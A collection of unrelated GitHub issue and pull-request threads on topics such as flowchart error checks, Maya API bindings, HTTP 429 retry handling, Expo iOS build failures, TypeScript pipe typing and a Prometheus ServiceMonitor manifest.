Added an override void "ErrorCheck" to the Command.cs, triggered by pressing the "Check For Errors" button in the flowchart editor or window. It prints out warnings in the log if it detects an IF or ELSEIF command having a null returnValue.
The IF and ELSEIF commands now can return their returnValue keys via GetReturnValueName() to the Flowchart.cs upon pressing the "Check for Unused Variables" button in the flowchart editor or window, which compares the full list of variables against the list of returned, used variables.

Possibly something that could extend to covering Invoke Method and Invoke Event commands. Just not sure how to implement that.

Screenshots

Invoke Method return values are now considered when checking for unused variables.

It should be hidden or at least two-level menu and confirmation whether it should be deleted or not


how can I transform files by Peertalk

This question needs more information. Please elaborate on what you are trying to achieve, along with what you have already tried to do.


Remove warning: HANDLE event variable unused

Throws a warning during compilation. And, see HANDLE event is not used inside function. So removed it.

+1


Update mellow-vue to signup and login to handle validation errors

Current behavior
Validation errors are not being handled in mellow-vue
Expected behavior
Validation errors should be handled in mellow-vue
Also related to #55 and #79

Validation errors can now be displayed

Also for sign up


Create initial simple durable object implementation

see https://github.com/nearform/lyra/discussions/56 for context


Help!

Hello, welcome to cmdc where we attempt to reproduce Maya Python API 2.0 (i.e. maya.api.OpenMaya) in open source form, fix all bugs and add all of the things missing from it. Autodesk has shown little to no interest in continuing with API 2.0, and I was surprised to find nobody had yet taken matters into their own hands.
So let's do that!
I've put together a few source files demonstrating the fundamentals of how to bind the API, along with commonly used types like MVector and MMatrix and a function set, MFnDependencyNode for manipulating the scene graph.
Here's the simplest example.

https://github.com/mottosso/cmdc/blob/master/src/Types.inl

The syntax is a little cryptic, because it's doing a lot of automatic detection of argument types and return values. Things we'd otherwise have to do ourselves if manually binding via e.g. Python.h. But it's fairly consistent and only consists of a few key functions, most if not all of them are already present in this repository.

Syntax reference

Help Wanted
But I need help. There is too much of an API to wrap for one person, and the task of actually binding a new C++ member is of intern-level complexity. That is, anyone can do it. The hard part is patience and diligence. We need to match function signatures, convert all MStatuses to exceptions and write tests for each newly added member.
As soon as I spot some interest in the project, and interest in helping out, I'll expand upon the test suite and CI mechanism to automatically produce compiled versions for all platforms and versions of Maya, along with automatic upload to PyPI. From there, anyone can add or improve upon any member and we'll never have to struggle with maya.api.OpenMaya again.

How can I help?
Glad you asked!

Get the project built on your machine
Pick your favourite member from the C++ documentation
Make a new MYourMember.inl file
Add it to main.cpp

Remember to keep the name of arguments as documented, so users of cmdc can refer to this documentation for help on how to use cmdc. And ditch the M prefix that all classes have, Python don't need that.
MVector -> Vector

Any questions or concerns, post here or in a new issue and let's fix this thing once and for all!

Just came across this and I think this is a great idea. It's funny because I was just thinking about doing some of this myself. I have already forked the repo and started adding some classes. I do agree the size of the API is going to take a while, so I am focusing on classes I frequently use in my own tools which is mostly centered around animation and rigging.
I'll send a message and a pull request when I get to a good stopping point so you can see. Thanks again for taking the first steps. Hope to talk with you more about how we can improve the API experience.

Awesome, welcome aboard. 🥳
Have a look at the most recent PRs for how far we got; the next thing we/I wanted to pursue was porting some of the real examples that ship with the API. I'd imagine they would make for good coverage.

https://github.com/mottosso/cmdc/pulls

On my side, the reason for stopping was that I've learnt to live with the pain of the original OpenAPI 2.0. 😢 But I'm still quite confident we could rather easily outperform it, in both API comfort and CPU performance, so go nuts. And if you can, I'd be happy to overlook any PRs you make to here and provide what I can to grow this project further.


improve error handling, fix for #232

I added some error handling that waits a second before trying again if a 429 is encountered.

Thanks for the suggestion Martin that is a better way to handle retries. Pretty hard to find some good documentation on this, in the end this website helped me to understand the retry logic: https://oxylabs.io/blog/python-requests-retry

The KNMI notebook raises an error in the test and the documentation. Locally I have no issues. I will try to merge and see if this error persists


adding handling for 429 and Retry-After

Description
@manusa sorry for the errant commit on your pr.  I'd like to add handling for 429 and Retry-After now that our logic is becoming more robust.  However I'm not sure if this will affect your refactoring plan - if you want to do anything else now, or just wait until your pr is committed.
Type of change

[ ] Bug fix (non-breaking change which fixes an issue)
[ ] Feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change
[ ] Chore (non-breaking change which doesn't affect codebase;
test, version modification, documentation, etc.)

Checklist

[ ] Code contributed by me aligns with current project license: Apache 2.0
[ ] I Added CHANGELOG entry regarding this change
[ ] I have implemented unit tests to cover my changes
[ ] I have added/updated the javadocs and other documentation accordingly
[ ] No new bugs, code smells, etc. in SonarCloud report
[ ] I tested my code in Kubernetes
[ ] I tested my code in OpenShift

Looks good, merging.
We'll probably want to add some tests for the new retry behavior


How to uninstall pymodbus3?

Faced same issue as in https://github.com/uzumaxy/pymodbus3/issues/3 , installed pymodbus3 using sudo python3 setup.py install from git clone dir and now I wonder how to uninstall it? sudo python3 setup.py uninstall returns "error: invalid command 'uninstall'". For comparison. pip has such function, and I could successfully remove old version of pymodbus3 that exists in pip repo.

Try: sudo pip uninstall pymodbus3 as it should work.

no it's not working


Create full page layouts as visual test stories

It would be helpful as part of our visual testing suite, to have full page layouts that utilize lots of components interacting with each other, and act as a canary of sorts to spot any discrepancies generated by new commits. E.G: A dashboard page, a contact page, etc.
These could most likely be lifted straight from the alchemy ux prototype, with dummy data feeding it.

https://trello.com/c/kKbiKz5k/610-storybook-and-chromatic-stories-for-logistics-platform

 Create full page layout examples


EAS Build for iOS throwing error for paid Apple Developer account even if i have paid account

Build/Submit details page URL
https://expo.dev/accounts/aperadev/projects/tracker/builds/843de23c-3a91-4830-b5cf-9ba1c64e6ad9
Summary
I am trying to build for iOS using command eas build -p ios and I have paid developer account. But still eas build throwing below error:

Managed or bare?
Managed
Environment
There is a new version of expo-cli available (6.3.2).                 │
│   You are currently using expo-cli 6.2.1                                │
│   Install expo-cli globally using the package manager of your choice;   │
│   for example: npm install -g expo-cli to get the latest version
Error output
Authentication with Apple Developer Portal failed!
You have no team associated with your Apple account, cannot proceed.
(Do you have a paid Apple Developer account?)
Reproducible demo or steps to reproduce from a blank project
Just run command : eas build -p ios

Hey,

What version of eas-cli do you have?
Can you please share the output of npx expo-env-info? It should look sth like this:

  expo-env-info 1.0.5 environment info:
    System:
      OS: macOS 13.2.1
      Shell: 5.8.1 - /bin/zsh
    Binaries:
      Node: 16.13.2 - ~/.volta/tools/image/node/16.13.2/bin/node
      Yarn: 1.22.17 - ~/.volta/tools/image/yarn/1.22.17/bin/yarn
      npm: 8.1.2 - ~/.volta/tools/image/node/16.13.2/bin/npm
    Managers:
      CocoaPods: 1.11.3 - /opt/homebrew/lib/ruby/gems/2.7.0/bin/pod
    SDKs:
      iOS SDK:
        Platforms: DriverKit 22.4, iOS 16.4, macOS 13.3, tvOS 16.4, watchOS 9.4
      Android SDK:
        API Levels: 30, 31, 32
        Build Tools: 29.0.2, 30.0.3, 32.0.0, 32.1.0
        System Images: android-32 | Google APIs ARM 64 v8a
        Android NDK: 24.0.8215888
    IDEs:
      Android Studio: 2021.1 AI-211.7628.21.2111.8309675
      Xcode: 14.3/14E222b - /usr/bin/xcodebuild
    npmPackages:
      expo: ~47.0.12 => 47.0.13
      react: 18.1.0 => 18.1.0
      react-native: 0.70.5 => 0.70.5
    Expo Workflow: managed

eas-cli/3.9.0

expo-env-info 1.0.5 environment info:
System:
OS: Linux 5.4 Ubuntu 20.04.6 LTS (Focal Fossa)
Shell: 5.0.17 - /bin/bash
Binaries:
Node: 18.8.0 - /usr/local/bin/node
Yarn: 1.22.19 - /usr/bin/yarn
npm: 9.3.1 - /usr/local/bin/npm
npmPackages:
@expo/webpack-config: ^18.0.1 => 0.17.4
expo: ^48.0.0 => 47.0.13
react: 18.2.0 => 18.1.0
react-dom: 18.2.0 => 18.1.0
react-native: 0.71.6 => 0.70.5
react-native-web: ~0.18.11 => 0.18.12
npmGlobalPackages:
eas-cli: 3.9.0
expo-cli: 6.2.1
Expo Workflow: managed

Fixed. Issue was my developer account was approved by apple team. After contacting support team, i was able to build.

Fixed. Issue was my developer account was approved by apple team. After contacting support team, i was able to build.

Could you please explain how to solve it in detail

I'm having the same problem. I'm on a team with the role of Admin, but I'm getting this error. EAS CLI version: 5.9.1.

Same issue here..

I love issues where people solve it and provide no more context.

I solved it after a lot of struggles for a week and angry client. @andrew-hossack you must call Apple support, no other way. I called apple support from Croatia cause I'm croatian and begged they connect me to USA apple and after few calls I got helped. My name in database was written as MATKQ, and not MATKO, so when I wanted to generate expo app I was getting errors of Apple developer not present.


How to get string type on pipe?

Bug Report

💻 Code

const text = pipe(
    ['Hello', 'World'],
    toArray, // I added the code just in case...
    join(' ')
) // Promise<string>

const text = pipe<string[], string>(
    ['Hello', 'World'],
    join(' ')
) // Promise<string>

const text = join(' ', ['Hello', 'World']) // string

🙁 Actual behavior

I tried to run a pipe and get a string type.
However, I encountered an error saying that the type should be specified as Promise<string>.
Although it actually runs as a string without any problem, there's an error in the code.
number type is same..
const number = pipe(
    [1, 2, 3],
    sum
) // Promise<number>

const number = sum([1, 2, 3]) // number

🙂 Expected behavior

I want the result of the last function executed in the pipe to be specified as the final type.
like this...
const text = pipe(
    ['Hello', 'World'],
    toArray,
    join(' ')
) // string

const text = pipe<string[], string>(
    ['Hello', 'World'],
    join(' ')
) // string

const text = join(' ', ['Hello', 'World']) // string

Version Information

fxts/core: 0.28.0
Operating system: MacOS
Typescript: 4.6.4
Nodejs: 20.7.0

@freevuehub
could you let me know tsconfig?
To get the correct inferred type from fxts, you need to use the two settings below.
strictFunctionTypes, strictNullChecks
https://fxts.dev/docs/getting-started#typescript
We recommend strict true to ensure correct inference.

@freevuehub could you let me know tsconfig?
To get the correct inferred type from fxts, you need to use the two settings below. strictFunctionTypes, strictNullChecks
https://fxts.dev/docs/getting-started#typescript
We recommend strict true to ensure correct inference.

Oh... I just checked again, and it turns out I was configuring that part in a different repo.
After resetting and running it, it works well!
I will close this issue :)


Added git command

Hey, @Rajdip019  I have added some git commands plz review and merge it. Thanks

Hey, @Rajdip019 @Debajyoti14 @nikhil25803  Plz look at and merge this PR.

Good job @Rimjhim20
Congrats 🎉, your PR got merged. To be eligible for the swags from ClueLess. Follow this steps.

Star this repository. ⭐
SignIn / SignUp in [ClueLess Website](https://www.clueless.tech/) .
Go to profile section from the top right hand corner.

Comment your profile URL under this comment tagging the person who merged your PR.

That’s it. Follow the leaderboard !
And don’t forget to share your achievement with your friends.

Thank You @Rajdip019
My profile URL - https://www.clueless.tech/profile/admin/71636845


[LIBCLOUD-807] add NearlyFreeSpeech.net DNS driver

implements the NFSN driver, https://issues.apache.org/jira/browse/LIBCLOUD-807

Thanks @ktdreyer the changes look great. Please can you resync your fork with trunk and resolve the conflicts, then push a merge commit.

Thanks @tonybaloney, I've merged with the latest trunk now.

Thanks @ktdreyer merging now


added mode transit

I noticed that the Googles Distance Matrix API also supports a public transportation mode called transit, which is currently not supported by the library. Simply adding this mode to the const.py seems to provide this functionality for the library too. :)

Ok.. can you also add that information to our readme file? :)


A few JCM Morphs lost during transfer to UE

Reviewing the UE JCM Control Rig created by the DazToUnreal transfer I noted a few JCM’s were highlighted as missing.
Checking the associated Skeletal Mesh confirmed that in fact the JCM morphs did not exist.
Working backwards confirmed that the JCM morphs in question were present in the intermediate .dtu and .fbx files, as well as being present in the Morph Export list on the DAZ side. Lost in translation?
The details:
DazToUnreal Bridge 2023 v1.0.52
UE 5.2.1
In DazStudio, create a new scene, add a Genesis8 character.
Invoke SendToUnreal, Choose Morphs, Add JCMs: Arms, Enable Auto JCM
Note these JCM morphs are listed for export:
pJCMShldrFront_n110_Bend_n40_L
pJCMShldrFront_n110_Bend_p90_L
pJCMShldrFront_p110_Bend_n90_R
pJCMShldrFront_p110_Bend_p40_R
Accept and Transfer to Unreal
Switch to Unreal Editor
Open Skeletal Mesh editor and JCM Control Rig editor, note these JCM morphs are missing in action.
Attempting the same process with a Genesis9 character, indicates a similar problem for morphs:
body_cbs_upperarm_y110p_z90n_r
body_cbs_upperarm_y110p_x40p_r
body_cbs_upperarm_y110n_z90p_l
body_cbs_upperarm_y110n_z40n_l
Any thoughts?

I am still looking into this -- I can confirm that the morph/blendshape entries exist in DS/FBX/DTU, but I do not see actual morph delta information.  I beleive Unreal will remove empty blendshapes if no actual vertex delta information exists, please let me know if there are any specific JCMs that are being reported missing with actual vertex delta information from Daz Studio.

Thanks for tracking down the issue! Looking at the dsf files on the DAZ side, these morphs definitely do have vertex deltas.


Critical Error

Hi! A have this bug after launch:
[Master HamsterKombat Bot][ERROR] [Alexey] Error: HTTPSConnectionPool(host='api.hamsterkombatgame.io', port=443): Max retries exceeded with url: /clicker/upgrades-for-buy (Caused by ProxyError('Unable to connect to proxy', NewConnectionError('<urllib3.connection.HTTPSConnection object at 0x000002CF6E02F7C0>: Failed to establish a new connection: [WinError 10061] No connection could be made because the target machine actively refused it')))
[Master HamsterKombat Bot][ERROR] [Alexey] Error: HTTPSConnectionPool(host='api.hamsterkombatgame.io', port=443): Max retries exceeded with url: /clicker/upgrades-for-buy (Caused by ProxyError('Unable to connect to proxy', NewConnectionError('<urllib3.connection.HTTPSConnection object at 0x000002CF6E02FC10>: Failed to establish a new connection: [WinError 10061] No connection could be made because the target machine actively refused it')))
Traceback (most recent call last):
File "C:\Users\Administrator\Desktop\MasterHamsterKombatBot-main\MasterHamsterKombatBot-main\MasterHamsterKombatBot-main\main.py", line 1239, in
main()
File "C:\Users\Administrator\Desktop\MasterHamsterKombatBot-main\MasterHamsterKombatBot-main\MasterHamsterKombatBot-main\main.py", line 1233, in main
asyncio.run(RunAccounts())
File "C:\Users\Administrator\Desktop\MasterHamsterKombatBot-main\MasterHamsterKombatBot-main\MasterHamsterKombatBot-main\main.py", line 1200, in RunAccounts
account.Start()
File "C:\Users\Administrator\Desktop\MasterHamsterKombatBot-main\MasterHamsterKombatBot-main\MasterHamsterKombatBot-main\main.py", line 1134, in Start
for item in upgradesResponse["upgradesForBuy"]
TypeError: 'bool' object is not subscriptable

Caused by ProxyError('Unable to connect to proxy',

something wrong with your proxy


Responsive props followup

🙋 Feature Request

Decide on our default widths for responsive props
make sure this doesn't break SSR https://github.com/adobe/react-spectrum/pull/1684/files#diff-42004c28584ea3d877a7de08ad8962f5de549775ec22172c9cef438f0a85c3afR68
🤔 Expected Behavior

😯 Current Behavior

💁 Possible Solution

🔦 Context

💻 Examples

🧢 Your Company/Team

🎁 Tracking Ticket (optional)

Nothing to do here


Add a license for reuse

Thanks for putting your work open-source!
Could you add a license file to the repository to ensure its re-usability?
I have a mild preference for permissive licenses (Apache 2, MIT) but any would do

Thanks, I added MIT license now.
Let me know if there is anything else I can do or help with :)

thank you!


Add ServiceMonitor to allow Metrics to be sent to Prometheus

Given the operator already exposes a metrics endpoint through a service, I recommend creating a ServiceMonitor to sink the metrics to Prometheus.
This will eliminate the need for manual intervention to accomplish this task.

should this be added to the helm chart or created by the operator when it starts?

It should not matter where it is added. It however makes sense to create the ServiceMonitor after the metrics service.
An example would appear as shown below.
apiVersion: monitoring.coreos.com/v1
kind: ServiceMonitor
metadata:
  name: cert-utils-service-monitor
  labels:
    role: metrics-sink
spec:
  selector:
    matchLabels:
      name: cert-utils-operator
  endpoints:
  - port: http-metrics

This should have been done in helm with a default of not installing it to follow other community standards that have already been set on this. The code is making an assumption that you are using Prometheus in your k8s cluster, if you are not, the code fails and is unusable. If you are going to do this in code even though this is largely done in the helm chart with a flag, it should at minimum be configurable.

I agree.
@trevorbox would you be able to fix this?